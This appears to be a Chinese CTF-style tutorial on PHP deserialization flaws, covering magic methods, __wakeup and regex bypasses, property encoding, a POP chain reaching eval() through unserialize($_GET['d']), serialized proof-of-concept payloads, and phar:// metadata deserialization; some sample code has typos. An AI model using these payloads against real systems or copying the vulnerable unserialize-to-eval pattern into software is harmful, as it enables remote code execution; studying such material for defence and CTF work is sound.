php反序列化漏洞
想要了解php反序列化漏洞首先要清楚php的魔法方法
php魔法方法:
__construct: 在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct: 和构造函数相反,当对象所在函数调用完毕后执行。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__call:当调用对象中不存在的方法会自动调用该方法。
__get:在调用私有属性的时候会自动执行
__isset()在不可访问的属性上调用isset()或empty()触发
__unset()在不可访问的属性上使用unset()时触发
php反序列绕过:
1、当Object对象的长度超出长度时,php低版本的反序列化并不会执行__wakeup漏洞;
因为超出,所以永远不会执行__wakeup,由此,可以绕过
2、若后面还出现正则表达式(较为严格的)对O:1这个格式进行过滤,可以使用
O:1:"A":2:{s:7:"%00A%00file";s:8:"flag.php"}
O:+1:"A":2:{s:7:"%00A%00file";s:8:"flag.php"}//此处+号需要使用ascii码的加号,因为+号在url中代表空格
反序列化各类类型的变化:
protected $op; "%00*%00op" private $op; "%00A%00op"
关于反序列化对象的绕过
①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:12:"Hello World!";}
②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。
同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:11:"helloworld";}
生成序列化代码格式如下:
<?php
class Flag{ //flag.php
public $file="flag.php";
}
$a = new flag();
echo urlencode(serialize($a));//防止不可见字符无法传参
POP链构造
一个lemon类,调用调用另一个normal类,使用了一个action方法,而这个action方法,eval类也有
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new normal();
}
function __destruct() {
$this->ClassObj->action();
}
}
class normal {
function action() {
echo "hello";
}
}
class evil {
private $data;
function action() {
eval($this->data);
}
}
unserialize($_GET['d']);
调用方法如下:
<?php
class lemon {
protected $ClassObj;
function __construct() {
$this->ClassObj = new evil();
}
}
class evil {
private $data = "phpinfo();";
}
echo urlencode(serialize(new lemon()));
echo "\n\r";
此处 protect $ClassObject = new evil() 是不行的,需要通过__construct来实例化
poc如下:
O:5:"lemon":1:{s:11:"\00*\00ClassObj";O:4:"evil":1:{s:10:"\00evil\00data";s:10:"phpinfo();";}}
phar://协议
<?php
class B{
public fuction__destruct()
{
echo $this -> name;
}
}
$phar = new Phar("test.phar"); //实例化一个phar类,并输出该文件
$phar -> startBuffering(); //开启缓存
$phar -> setStub("/*可以加任何东西*/<?php __HALT_COMPILER(); ?>/*此处不行*/")
//phar文件的标志类(一个php代码)<?php __HALT_COMPILER(); ?>
$o = new B();
$o -> name = 'Paohhee';
$phar -> setMetadata($o); //设置媒体
$phar -> addFromString("test.txt","test"); //写入数据 ,此处不需要使用
$phar ->stopBuffering();
往媒体数据中写入一个 对象,该对象会以序列化的方法保存下来,在提取时会成反序列化

浙公网安备 33010602011771号